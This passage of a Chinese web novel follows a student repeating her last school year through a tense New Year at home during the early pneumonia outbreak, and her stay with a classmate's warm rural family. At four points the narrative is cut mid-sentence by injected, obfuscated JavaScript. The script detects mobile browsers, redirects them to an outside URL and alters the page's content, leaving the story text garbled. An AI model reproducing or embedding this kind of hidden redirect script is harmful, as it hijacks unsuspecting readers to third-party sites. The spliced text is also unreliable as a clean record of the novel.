田知意边走边跟他挥手:“那我等你。下次来的时候我给你带点苏城的特产。” 他们都很轻松,仿佛只是为一个再寻常不过的寒假道别。 回到家,母亲的孕相已经颇为明显,据说状态不是很乐观,近期在卧床保胎。 田知意只能自己去医院复查。 医生仔细为她做了检查:“其实你状态已经不错了,保险起见,我给你多开点药,你按医嘱服用。” 田知意不解:“状态好为什么反而多开药?” 医生有些语焉不详:“因为你可能很久不会来了。” “因为新年放假吗?”田知意问。 医生摇头:“我也不好多说……你多看看新闻吧。” 田知意拿了药,分量着实不小。 她看了眼病例,按医生写的剂量服用,起码要两三个月才能吃完。 ……这样拿回去岂不是要把爸妈吓一跳? 田知意暗自揣测着,想着医生的话找到了医院的公众号。 都是些寻常的推送消息,没什么特别的。 她本以为是医院要合并、搬迁或者关门之类的特殊情况,现在看来并不是。 田知意又看了几个常关注的医疗科普公众号,也没发现线索。 最后,她点开了微博。 微博热榜上倒是有些和健康有关的话题,比如美国闹流感、武汉出现不明肺炎之类的,和苏城相关的一条都没有。 ……这算什么。 田知意想不明白个中缘由,只得拎了一大袋药回家。 她久在壶州读书,爸妈怕她长时间不用钥匙弄丢了,就把她的钥匙收了,现在想进家门都得先敲门。 田知意敲了好几下,才听到远远传来拖鞋在地板上拖沓的声响。 门一开,就见母亲举着喷壶对准她:“喷一喷消毒。” 田知意吓了一跳,但还是配合了母亲的要求。 她用消毒水喷了喷鞋底和装药的塑料袋,把外套脱了反包住丢进了洗衣机,又洗了脸和手,这才获得了跟母亲对话的机会:“发生什么事了?我是去看精神心理科,不是去了趟疾控中心。” 田知意本意是想幽默一下缓和缓和紧张气氛,没想到母亲听到“疾控中心”四个字时,反而炸了毛似的激动起来:“不去不去,谁也不去那种地方。” “到底怎么回事?”田知意也严肃起来,她隐约意识到事情并不简单。 “你天天捧着手机都没看新闻吗?”母亲皱起眉责备她,“多少也看点有用的东西呢,武汉的那个肺炎你听说了没?” 田知意这倒有些印象:“怎么了?和我们有关系?” 母亲不可置信地看着她:“怎么没关系,你上网看看,N95口罩都卖光了。” 田知意打开几个电商APP看了看,发现能买到的只剩清洁用的薄口罩,KN95口罩基本都是预售状态。 “事情已经严重到了这个地步?”比起紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014894|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,田知意更多的是震惊,“至于吗?” “怎么不至于!”母亲狠狠瞪了她一眼,“山庄里的年夜饭都取消了,你说呢。” 如果说口罩脱销还能勉强理解成群体性恐慌,那年夜饭取消就直接意味着大事不妙。 毕竟不到万不得已,没谁会连订好的年夜饭都不去吃。 这可是中国人一年里最大的事。 “一夜之间……事情竟然到了这个地步。” 田知意揉揉太阳穴,显然很难接受现实。 “你做作业去吧。我要回床上躺着了。”母亲不想和她多交流,“接下来医院肯定是最危险的,产检还不知道要怎么去,愁死了。你要是懂点事就让我少操点心吧。” 田知意不敢说话,看着母亲躺下后进了自己房间。 她的心里乱乱的。 下意识觉得肺炎离苏城远得很,又不得不承认她终究还是受了母亲的话的干扰。 心烦意乱地刷完两套卷子,田知意看着满是字的纸直犯头晕。她搁下笔,拿起手机随手刷了刷,上午还风平浪静的微博,此时各种没有根据的讨论甚嚣尘上。 有条将肺炎与2003年SARS挂钩的博文热度极高,评论区皆人心惶惶。 那时田知意幼不记事,大人们又对此讳莫如深,以至于成长至今,她也只听过些许零散的片段,对肺炎的不安让她第一次主动去搜索了SARS。 整个事件的过程越看越令她心惊,白纸黑字,每一行都是人命。 父母是经历过那个时候的。 田知意突然明白了母亲惊恐的原因。 这突如其来的肺炎,会给她的生活带来什么变化吗? 好不容易才过上的平静的、安稳的生活,就要因此被打破了吗? 她伏在桌上,将头埋进一片阴影里。 掌心被不安的汗水濡湿,在桌面按出一个完整的掌印。 晚上,父亲回来时脸色很差。 田知意不想挨骂,只低头做事,不出声。 由于肺炎的缘故,母亲提前给阿姨放假过年了,现在所有的饭菜都要他们自己动手,如今田知意在家,也需要跟着搭把手。 所幸在闻漫那里蹭了那么多次饭,她也看会了几个简单的菜式。 她先打了三个鸡蛋搅匀炒到八成熟,又学着闻漫炒番茄锅底的样子把番茄炒熟,最后把鸡蛋拌进去,加了点糖盐,尝尝味道还不错,盛出了锅。 这就算是简易版的番茄炒蛋了。 田知意看着盛在盘子里的菜,第一次觉得做饭也没很难。 她把番茄炒蛋端上桌时,父母正脸色难看地在谈天。 “接下来该怎么办?”母亲问。 “能怎么办?”父亲看了眼母亲,深叹了口气,“订的年夜饭都取消了,只能给员工放假了。” 往年新年是生意最好的时候,可现在连年后能不能正常营业都未可知。 父亲不想再说糟心的话,将目光落到桌面的菜上。 当瞧见那盘番茄炒蛋时,父亲猛然抬头,看向田知意:“这你做的?” 田知意被这突然的一声吓得缩了脖子:“是……我。” 她本想躲着点父亲的坏心情,没想到还是被抓了包。 28. 梦成 明明父亲坐着、田知意站着,可田知意却分明感觉到来自他的那道视线是居高临下的,带着几分探视、几分不屑。 应是她心里怯懦,所以本能矮了三分。 “你还会烧菜呢。”父亲轻哼道,“我以为你读书很忙的。” “在外读书总有不方便的时候,况且……” 田知意本想说“况且番茄炒蛋不是很难的菜”,但话到嘴边又咽了回去,她知道父亲讨厌她得意轻率的模样,每次见了必要敲打她,因而立即改了个谦逊的口吻:“况且也没怎么做过,今天大胆试了试。” 父亲一时从她的话里挑不出什么刺,只低哼着夹了一筷子番茄与鸡蛋,和着饭一起吃。 田知意垂着眼,等他的反馈。 “淡了点。”父亲丢下一句,不再看田知意,伸筷子去夹别的菜。 母亲跟着尝了尝田知意的手艺,边吃边打圆场:“孩子长大了,是好事。况且我现在吃清淡点好。” “吃得惯就好。”父亲抬眼,用目光示意田知意入座,“你放假在家正好分担些家事,别总懒着。” 田知意不说话,只拿起碗吃了起来。 父亲和母亲又恢复到了闲谈的状态,餐桌上俨然有了些鲜活气。 只是这份鲜活,与她无关。 临近除夕的几日,田知意过得比读书时还忙。 早上赶着商场刚消杀完、人还不多的时候,和母亲全副武装地采买年货。母亲选购她推车,母亲付款她拎包,等坐到车上时,双臂已然抬不起来。 到家后喷完消毒水,把两个人外出衣物扔到洗衣机里,等洗净晾干。和母亲简单吃过午餐后,帮睡午觉的母亲揉腿去水肿。 趁着母亲安睡的空档,田知意赶忙做了几套题,等母亲醒来,她又要在母亲的指挥下大扫除、准备晚饭、预处理年货……直到晚上九点帮行动不便的母亲倒完洗脚水,才真正有了自己的时间。 ……原来保姆的一天是这样过的。 田知意趴在桌上看着没有尽头的作业,心想果然读书有读书的苦,做事有做事的苦。 那到底什么不苦呢? 或许人生下来就是要受苦的。 她想到母亲的肚子里的孩子。母亲胎像不稳,近来总在安胎。 想来这孩子在还是胚胎时就已经就开始受苦了,也不知生下来后还要面临些什么磨折。 ……何必呢。 每当这时,她的意志总会变得薄弱,仿佛水面偶然结成的水泡,在光下越涨越大,越涨越薄,不知道什么时候、受个什么动静,就碎了。 恐惧仿佛一个黑洞洞的漩涡,慢而坚定地向她靠近,像是无法规避的未来。 田知意讨厌这种盲人瞎马的感觉,用仅存的力气想做些什么转移注意力。她想看看微博,可微博上是漫天的惊恐。 每个人的恐惧并不相同,却意外相通。眼见漩涡正汇聚成洪流,田知意连忙滑动退出了微博。 像是落荒而逃。 她想找人聊聊天,打开微信,却不知道该找谁。她看到路嘉茉和盛漾在筹备新年,她看到周宇泓刚和新女友官宣,她看到闻漫……哦,闻漫没有发朋友圈,但大概也是洋溢着喜气的,她不该去自找晦气。 田知意百无聊赖地翻起了往日的聊天记录,她从现在的一条条往回翻,等翻到两年前路嘉茉刚到京市时的对话,惊觉自己竟然还有那般正常的时候。 没有忐忑,也没有自卑,同那个年纪的其他女生一样,只有对未来的无限期待。 ……是什么时候开始变成现在这样的呢? 是分科时因为数学不那么好退而求其次选了文科,却在分班考试意外失手时?还是好不容易在父亲打点之下强行挤进文科尖子班但日益掉队,整日被父亲冷嘲热讽时?抑或是在眼睁睁看着昔日的好友竞赛的竞赛,自招的自招,自己却全然看不到希望、逐渐坠入了深渊时? 齿缝挤出一丝极轻的叹息,仿佛将那再也回不去的过往一同虚掷了。 这样的生活持续到了除夕。 年夜饭后,一家人围坐在电视机前看春晚。这年的除夕飘着小雨,加之肺炎的阴霾,到处都静悄悄的。 节目正好播到小品《婆婆妈妈》,看着贾玲和张小斐演的婆媳在节目里吵架,即便在座的没有婆媳,一家人还是齐齐沉默了。 好一会儿,母亲才开口:“做媳妇的总要让让婆婆的,大过年有什么好吵的。” 她边说边看向田知意,田知意扭过脸去看电视,假装没听见。 父亲听了有些不乐意了:“别这么说,我妈当年没给过你难看。” “哎,那是我有福气。但也不是每个人都有这种福气的。” 话头的指向愈发明了,连父亲都听出了其中的内涵:“当然你做得也很好,我妈对你也很满意。” 田知意继续当没听见,死活不吭声。 母亲见含沙射影没起到效果,只得点到田知意头上:“你看节目里人家为了请保姆吵起来。咱家里虽然请过,但你现在也知道请保姆不是万能的,很多事你也该学一学了,以后你做姐姐,要做个榜样。” 话到了这份上,田知意再装死就显得太刻意了,只能礼貌应答:“好的。” 见她如此配合,母亲有了些兴致,趁着节目互动的时间,一条条点评起了田知意这些天在劳动上的不足。 都是些说过的话的总结,田知意早就听麻了,只过了一过耳朵,并不吭声。 母亲说了一串,见田知意沉默,以为是言辞激烈惹了她不快,便软了软语气:“当然,比起以前已经进步很多了。” 田知意点点头。 此时她要能说上一句表态的话收尾就完美了,但她半句也说不出口。 ……讨厌说一些违心的话。 气氛便陷入了尴尬的寂静。 片刻之后,田知意站起身:“我先回房间了,你们看电视吧。” 母亲揉揉眼睛:“你不守岁了吗?” “我的作业还有很多,初五要返校的。”田知意解释。 “哼。”她听到父亲冷了的笑声,“做作业急在这一时?” 田知意深吸口气:“那我有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027545|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点累了,先去睡一会儿。” 进房间时,她故意没将门关严实,留了一道能透过声音的缝隙。 没过多久田知意就听到母亲跟父亲议论:“是不是给她压力太大了?她都不高兴了。毕竟还要高考呢。” 父亲的语气倒很无所谓:“去年我们处处顺着她,考的什么东西。今年花这么多钱去复读已经很好了,要再考不好我也不想管她了。接下来有的是要用钱的地方,还不知道生意怎样呢。” 田知意听了一会儿,觉得父母也没说错什么,但细想又闹心,干脆起身把门关严实了。 ……到底在确认什么呢? 这样的家庭,这样的环境,这样的自己,难道还能指望什么包容和理解吗? 田知意拿出手机刷了刷,网上都是对春晚的讨论,很多都是对小品《婆婆妈妈》的批评,不少人家同她家一般,尴尬又沉默地看完了这个节目。 她又看了对其他几个节目的评论,发现看多了也都千篇一律,和看节目一样,没什么意思。 这么想着,田知意找出作业来,继续刷题。 她也不知道刷题有没有用,但至少称不上荒废。 但这晚她注定心神不宁,遇到卡壳的难题,她的思维就在大脑一空白的瞬间飘忽了出去,飘到寂静的除夕大街,飘到千家万户安逸看电视的氛围里,飘到刚刚看到的节目上。 婆婆和儿媳……也不知闻漫的家庭是怎么样的呢? 田知意被自己这突如其来的想法羞红了脸,一边拾掇着记忆里零零散散的碎片,却没拼凑出什么信息。 细想来闻漫确实没怎么跟她讲过他的情况,不像她有时会抱怨家里。 唯一知道的是他的父母好像很少管他的事,高中之后就基本随他做主了。 不知道这样的人家会不会不好相处呢? 田知意,你好不要脸。 正在田知意暗骂自己时,手机突然响了起来。 她吓了一跳,低头发现是闻漫打来的,真是想什么来什么。 田知意的手都有些握不住手机了,深呼吸三次才滑动接听:“喂?” 她没听到闻漫的声音,只听到一阵嘈杂的背景音,似乎是很多人在一起的倒计时:“十、九、八……” 田知意反应过来是临近零点的倒计时,她本只是听着,但很快也跟着轻轻着数了起来:“三、二、一。” “新年快乐!” 她清晰地听到闻漫的声音。 周围静悄悄,没有扰人的鞭炮,连雨声都渐渐消弭。 只有他的声音,无损地穿过100多公里的距离,轻轻敲动她的鼓膜,传入她的耳中,填满了她的心房,成了此时她的世界里唯一的声响。 田知意捂住嘴,眼泪一瞬间涌了出来。 她不知道自己为什么会哭。 明明她喜欢着的人也在惦记着他,是件多么令人幸福的事情。 现在已经是大年初一了,只能笑,不能哭的。 于是她竭力藏住自己哽咽的声音,努力地回答他:“你也一样,新年快乐。” 29. 梦成 这个年过得格外冷清。 由于肺炎的影响,公交、大巴、高铁停运,私家车限流,终于让所有人意识到事态的严峻。 往年的家庭聚餐也都取消了。 田知意承包了家里的晚饭,轮着煮橘络芝麻汤圆、豆沙汤圆、桂花酒酿小圆子,又蒸了几天不同口味的馒头,终于把父母吃腻味了。 初四午餐时,父亲连连催促田知意吃快点,等下要送她回连口。 田知意一愣:“这么早就去?不是明天下午才返校吗?” “明天初五,要迎财神的。市里烟花禁放,我们还要提前赶到非禁放区去,哪有空管你。” 年夜饭可以取消,烧头香也可以不去,但是迎财神必须进行。田知意也不知该如何应答,只小心地提醒父亲:“群里说开学可能推迟,我们要不再观望一下?” 父亲并不把她的话放心上:“你别在这时候瞎三话四。就算是不开学,你蹲也得蹲在连口,反正有楼长管你食宿,你担心什么。” 话已至此,田知意无话可说,只能拎着行李箱上路了。 群里的消息果然有迹可循。当晚八点,闻漫给田知意发了个消息,是壶州延迟开学的通知。 闻漫问田知意:“你们应该也一样吧?” 田知意还没收到消息:“不知道,但我已经在公寓了。” 说话间,复读学校的通知也到了,也是延迟开学,且开学时间待定。 【kaamos:我也收到通知了。】 【Valo:那你打算怎么办?家里有人接你回去吗?】 【kaamos:不知道。】 田知意不确定。毕竟父亲说过让她蹲也要蹲在连口。 现在她只能祈祷还有人管她的饭。 谁知屋漏偏逢连夜雨,没过多时,楼长也发来消息,说她人在老家赶不过来,开学前公寓暂停一切供应。 这下可不仅是断粮的问题,搞不好连水电都要断。 田知意深吸口气打算做最后的挣扎,她把消息截图发给父亲,试图搏一搏他的关心。 大约过了五分钟,父亲的消息和闻漫的消息一起来了。 田知意先在消息栏里点开了父亲的那条通知。 这是她最后的希望。 父亲没直接拒绝她,但也没有解决任何问题:“知道了,你先将就两天,方便了我就来接你。” 田知意瞬间懵了。 这怎么将就。 今晚她没有吃晚饭,因为周围的店都没开门,她也没有任何能做饭的工具。 彼时她还不太担心,毕竟不算很饿,而且明天未必没有饭吃。 但此时她立刻饿了起来,饿得着急,饿得钻心,仿佛恐惧将她后几日的饥饿一并预支了,疼得一抽一抽的胃逼迫她必须去找些吃的。 田知意几乎没过脑子就发了消息出去:“那我明天吃什么?” 父亲回了她语音:“你们楼的楼长没来,别的楼你问过了没?去要口饭吃,给点钱他们,还能吃不到吗?” 此前田知意几乎没和其他楼有过交流。复读生里鱼龙混杂,她不很想去趟浑水。 现在冷不丁去管别人要饭吃…… 况且现在学校推迟开学,没来这里的才是大头,谁会冒着被传染的风险为少数人做饭呢? 田知意走到窗边,放眼望去,四周漆黑一片,她是唯一的光亮。 俨然成了座孤岛。 她给自己灌了杯水,试图抚平胃里的疼痛。 父亲不愿意过来,至少捱过今晚…… 田知意拍了拍脸,强迫自己冷静下来。 随后,她切出和父亲的聊天界面,去看闻漫发来的消息。 他只发了句很简短的话: “如果没有人来接你的话,要不要先来我家?” 放下手机,田知意的父亲揉了揉眉心。 ……这个女儿,成天听风就是雨,一点都不让人省心。 田知意的母亲听到动静,过来问道:“发生什么事了?” “没事。”父亲答,“女儿说楼长不管饭,闹着要回来。” “那你什么时候去接她呢?”母亲问,“没饭吃总不是个事儿。” “过两天吧,这几天忙。她不是会做饭吗?总不至于那里什么吃的都没有,做点蛋炒饭也能对付几天了。” 听到这话,母亲也放下心来,不再继续问了。 家里又恢复了平静,似与往日并无不同。 许是太久没有得到回应,闻漫有些担心,给田知意打了个语音通话:“你那边解决了吗?” 田知意垂着头:“我爸说等过两天方便了再来接我。” “那这几天不就……”闻漫像是突然想起什么,忙问,“你几点到的这里?吃饭了没?” 田知意胃疼得说不了谎:“下午到的,晚饭没吃。” “什么也没吃?” “嗯……喝了点水。” “那怎么行。”闻漫喃喃着,似是自言自语,“你等一下,我和我爸马上来接你。” “别。”田知意连忙拒绝,“太晚了,明天再说吧。” “饿着睡觉怎么行?” 在田知意的印象里,闻漫极少用这般强势的语气跟她说话,此时定然十分着急。 她也不好再与他执拗:“那……谢谢你和叔叔。” 回答她的是汽车发动的声响和闻漫的声音:“我们五十分钟后到。” 在等在闻漫的五十分钟里,田知意一直坐立不安。 从小到大,她几乎没有在别人家里过夜过。 更何况,等会儿她要面对的是闻漫的父母。 她对他们,对闻漫的家一无所知。 有什么禁忌也完全不清楚,生活习惯也肯定有很多要适应的地方。 ……万一哪里做得不好怎么办? 除夕夜她还在笑话自己臆想与闻漫的家人相处,没想到才年初四就已然成了现实。 她紧张得手心冰凉,担忧、焦虑中又隐隐有些期待,复杂的情绪像座山,压得她透不过气来。 田知意下意识地去找药吃。 就在这时,房门被敲响了。 田知意忙将拉开行李箱合拢,然后跑去开门。 迎接她的是一个结实又温暖的怀抱,闻漫的声音柔柔地落在她耳边:“饿坏了吧?” 田知意挣扎着要起来:“你疯了,你爸还在。” “除了我,哪还有别人?”闻漫笑着问。 田知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037670|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意抬起头,发现确实只有闻漫在。 “诶?叔叔呢?”田知意有些疑惑。 “我爸在楼下等我们。”闻漫松开她,将手里的塑料袋递给她,“里面有面包和牛奶,这么晚吃太多也不好,你先将就下。” 面包是超市里卖的最普通的法式小面包。田知意隔着塑料袋摸到里面的牛奶,发现竟是热的。 ……这可一点也算不得将就了。 “你的行李就这些吧?”闻漫拎起她的行李箱,田知意背着书包跟在后面,楼下停着一辆七座的别克GL8,一个中年男人从驾驶座的窗边探出头来向他们招手。 “这是我爸。”闻漫边跟田知意介绍,边帮她把行李箱搬上车。 田知意立即叫人:“闻叔叔好。” “哎!”闻父笑着应了,“苏城的乖小囡长得可真标致。” “乖小囡“和”标致“有几分吴语的腔调,听起来有几分亲切。 田知意红着脸应了,不知该如何作答。 还是闻漫出声阻止:“爸,知意胆子小,你别吓到她。” 他拉了下自动门把手,等车门缓缓打开,示意田知意上车。 车的中间排是两个单独的座位,田知意靠里面坐了,闻漫坐在外侧,等门自动关上。 闻父回头看了眼闻漫,笑着嗔怪道:“啧啧啧,这就护上了。” 随后他拿起手机,用方言说了句什么,一脚油门出发了。 田知意低声问闻漫:“叔叔刚刚说了什么?” 闻漫转过头,勾勾手示意她靠近。 田知意顺从的凑过来,只听到他在她耳边低语: “我们回家啦。” 唇边的热气落在她耳畔,仿佛一石投入湖心,掀起涟漪千层。 他们出发时便不早,此时更是临近午夜。 田知意啃着面包喝着牛奶,看向黢黑一片的窗外。 外面一丝灯光也无,全凭车灯照亮。路旁植被层层叠叠,仿佛暗夜里涌动巨浪。 玻璃外风声阴惨惨好似鬼哭,听着就令人胆寒。 好在车内空调开得很足,即便是手脚一贯冰凉的田知意,也略微有了些热气。 闻父一边开车一边听书,田知意专心听了会儿,发现是十分恐怖又极有意思的灵异惊悚小说《鬼术士》。 “爸,大半夜听这种书你也不嫌瘆得慌。” “你懂什么,听这个开车不会睡觉。”闻父笑着回怼他。 闻漫揉揉眼睛,又打了个呵欠:“谁说的,我都听困了。” “你不一样,成天看杀人小说的,听这种就面不改色。” “那是推理小说,不是杀人小说。档次都被你说没了。” “文好不在分类,档次哪是说没就没的。” “……” 听他们父子俩聊得有来有回的,田知意只觉得十分新奇。她和父母也不是没有过闲聊的时候,但无外乎分数、钞票和健康,关于听书看书之类兴趣爱好的讨论,一次都没有。 甚至读到高二之后,“看闲书“都是种罪过。 ……还好现在不用面对这些。 田知意有些累了,她将自己陷在柔软的座椅里,把闻父和闻漫的闲聊当背景白噪音,沉沉地睡着了。 30. 梦成 车在围墙外的水泥空地上停了下来。 夜已深,路的一旁是黢黑的田野,一旁是熄了灯的民居。放眼望去,只有隐隐戳戳的光亮从面前敞着的大门处透出来。 ……来到乡村了呀。 田知意揉了揉双眼。 她还沉浸在小睡过后的困倦里,看什么都像隔了层雾,连带眼前的那片亮光也沾了些朦胧的梦幻,仿佛是童话故事里主角闯入密林时仅见的木屋灯火。 每次故事到进行到此处,就意味着主角将经历一场奇遇。 ……我也会有一场奇遇吗? 田知意迷迷糊糊地想。 ……我也能当童话里的主角吗? 车门打开,外面的冷风倒灌进来,猛地袭向田知意的脸与脖颈。她一个激灵,不再瞎想,跟着闻漫下了车。 闻漫帮她搬下车后的行李,田知意背着书包,将双手藏在兜里,听着行李箱在水泥地上摩擦的声响,感觉自己像是风雪之夜的赶路人,好不容易找到好心人家借宿。 ……这个时候应该说些什么呢? 田知意正斟酌着用词,抬头却见一个四十余岁的女人快步迎了过来。 她身穿青色夹袄,下着深蓝长棉裤,趿着双钩针厚底棉鞋,如云的长发拢成了蓬松的髻子,只用一个长扁夹子固定,仿佛是民国宅院里走出的人物。 她对着闻漫用方言说了句什么,很快便看到了跟在他身后田知意,连忙换成普通话:“你就是田知意吧?来来来,进屋,屋里暖和。” 在路上的时候闻漫已经跟她简单地介绍了他家里的情况,提到他的母亲姓章,名成绢,是村里读过些书的老人帮取的,取自戴复古的“春蚕成丝复成绢”。 “谢谢阿姨,这么晚打扰你们了。” “不碍事。”章成绢很自然地伸手去接田知意的书包,“很重吧,我帮你拿。” 田知意吓了一跳,连连摆手:“不用不用,我自己来可以的。” “也好。”章成绢手心手背反复搓了搓,“乡下可比城里冷多了,你还习惯吗?” 田知意的脸早被猝不及防的冷风吹得有些僵了,此时木木的倒也感觉不出冷暖来:“还……可以。” 可惜她颤抖的发音方式听起来全然不是还可以的样子。 “看来是冻坏了。”章成绢笑着安慰她,“外面风大,进屋就好了。” 说着,章成绢示意闻漫将大门锁好,自己带着田知意先进了堂屋。 堂屋不大,最先印入眼帘的是幅顶天的工笔福禄寿图,用笔很细腻,泛黄的纸张透着古韵。 图边贴着副对子:向阳门第春常在,积善人家庆有余。 看墨迹是幅有些日子的老作品。 图前摆着张长供桌,摆着两只烛台,烛泪长长地垂下来,应是在祭祖时燃了许久。 田知意看到墙上挂着的黑白遗像,是位面目慈善的长者,眉眼间与闻父、闻漫都有些相似,想来许是闻漫的爷爷。 堂屋正中摆着张方桌,桌上的大碗里正冒着腾腾的热气。 章成绢引着田知意在桌前坐下:“有什么好奇的等下慢慢看,先喝点热茶暖暖身子。” 田知意小声地道谢,低头捧碗。 茶汤煮了许久,雪色的银耳被熬煮成絮状,浮在浓浓的胶质间,仿佛倒映在水中的云。其间点缀着几颗红枸杞和一颗拇指大的去核红枣,浓郁的香味扑面而来。 田知意拿汤匙舀了一口,尝了尝,发现温度正好,清甜口感完全来自红枣与枸杞,没有半分额外加糖的齁腻。绵软的银耳入口即化,像是一团想要回味却紧攥不住的梦。 夜深、天寒、困倦,又吃了面包,她本没有半分食欲,却架不住章成绢的这晚红枣枸杞银耳羹只一勺便熨帖了她的唇齿,只在细细品味间,一碗就下了肚。 搁下碗勺时,她的掌心竟有些出汗。 ……热乎了。 “大晚上的也做不出什么太好的。”章成绢在田知意身边坐下,“只能煮点简单的汤汤水水。” “谢谢阿姨,真的很好吃。”田知意吃完起身收拾碗筷。 她在别人家里白吃白喝的,理应勤快点才不招人烦。 章成绢出声阻止:“你放那吧,现在太晚了,明早再说。” 说着,她拎起身边的两个热水瓶:“走吧,该睡觉了。” 田知意主动伸手接过了一个,跟着她上了二楼。 楼梯很窄,仅比一人宽略富余些。拐角处有个小窗户,落了帘布,看不清外面的情况。 二楼有个与楼下等大的堂屋,东西两边各一间卧室,南边玻璃移门外有个“L”型的露台,露台西侧还有个小房间。 此时移门紧闭,北风呼啸着重重撞在门上。 田知意看不清外面的那个房间有没有人在使用。 章成绢将水瓶搁在地上,为田知意打开西侧房间的门:“这个房间好久没用过了,临时收拾出来的,可能会有些味道。” 田知意只闻到一股新鲜的棉花味,有些温暖的气味,她并不讨厌。 门口立着一只塑料盆,床到窗边拉了根晾衣绳,上面挂着两条毛巾。床边有张梳妆台,摆着还未拆封的牙具。 “这两块毛巾都是新的。”章成绢说,“楼上没有热水,我们一般都是洗漱完再到卧房泡脚。你如果有需要的话,这一整瓶都是给你用的。” 田知意其实带了洗漱用品,但是章成绢的贴心还是让她有些动容:“……谢谢。真的太麻烦你们了。” 章成绢爽快地笑了笑:“小漫难得往家里带同学,我们总要招待好的。” 田知意心想她不是闻漫的同学,但她不敢说。 她不想节外生枝把事情搞砸。 ……如果他们知道了她只是个复读生,还会对她这么好吗? 田知意不敢继续往下想,便想着说些什么转移注意力:“如果我要刷牙洗脸的话是在楼下吗?” 章成绢点头:“可能有些不太方便……” “没有没有。”田知意连连摆手,“这样安排也挺好的。” 她想了想,拿出手机:“阿姨,方便加个微信吗?我扫您。” 章成绢有些意外,但没有拒绝。 田知意看着手机,心想如果要有所表示,这样也方便些。 ……这样白占别人家的终究不是长久之计。 简单地收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043450|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾了下自己的用品,田知意将牙具和毛巾装在盆里,准备一起拿下楼。 出门时,她正好看见闻漫端着塑料盆从房间里出来。 “还没睡呀?”她问。 “马上就睡了。”闻漫拉开玻璃移门,冷风一下子钻进来。 田知意拢了拢衣服,她的衣物要承担夜间的风还是太过单薄了。 所幸闻漫动作很快,只听“哗啦”一声,就重新端着盆回来了。 田知意看得目瞪口呆:“你就这么往楼下倒水?” 闻漫耸耸肩:“自家院子,不要紧的。” 他话音未落,就听到来自楼下的咆哮。 田知意听不懂内容,却能感受到章成绢的愤怒:“你的妈妈好像生气了。” 闻漫大声冲着楼梯喊了一句:“我以后注意。” 这次飘上楼的声音轻了些,但听起来并不中听,即便是半懂不懂的田知意也能猜到是句骂人的话。 “要不要道个歉。”田知意小声地问。 在她家惹母亲生气了要立即道歉并接受教育,不然别想睡觉了。 “现在下去吵她睡觉还要再被骂一顿的。”闻漫边说边推开房门,“明天我早点起来烧早饭吧。” 他似乎提醒了田知意什么,田知意忙问:“你家几点吃早饭?” “和平时上学差不多吧。你想晚点也没关系,我帮你热一热就行了。” ……那哪能刚来就赖床呢。 田知意不好意思说,只与他摆摆手:“我知道了,明天见。晚安。” 她还赶着下楼洗漱,不好多逗留。 闻漫的声音从她身后传来:“晚安,好梦。” 静夜里,田知意清晰地听到了自己的心跳声。 一起一伏的,似是在作答。 等田知意回到楼上,早已经过了一点。 她关掉二楼堂屋的灯,屋子一下子暗了下来,仿佛进入了梦乡。 许是这房里的人气为她壮了胆,往日她最是恐惧这漆黑一片,此刻却只觉安宁。 推开房门,田知意重新将塑料盆立在门后,将毛巾搭上晾衣绳。 床前的梳妆镜映出了她疲惫的脸。 一天前她还在苏城,现在她已经在闻漫家。 世事变幻仿佛一场戏,她不知道谁才是主宰。 床上已经铺好了踏花被,刺绣被套颜色鲜艳,大概没怎么用过。 田知意钻了进去,一伸脚碰到个滚烫的物什。 她猛地缩脚,伸手去探了探。 摸到一层热热的布料。 再往边上摸了摸,才发现是个圆形的物件,细细感触下来,能发现是布包的金属物。 田知意猜到是个汤婆子。 小时候她冬天畏寒时母亲也给她灌过,等后来安了空调,就收起来了。 只是空调吹出的热风,终究不比脚心的暖意。 田知意小心地将脚掌贴在那层布上,幼时的温暖顺着记忆穿越而来,在异时异地里为她圈出一方小小的熟悉之所。 在晒过一整天的踏花被的香味里,田知意将自己蜷缩成一团,闭上了眼。 这是她最安全的姿势。 31. 梦成 田知意不知睡了几个小时,只听到远远传来连续的响动,像是风过竹林万竹齐震,又像是油锅里上百颗蚕豆接连崩开。 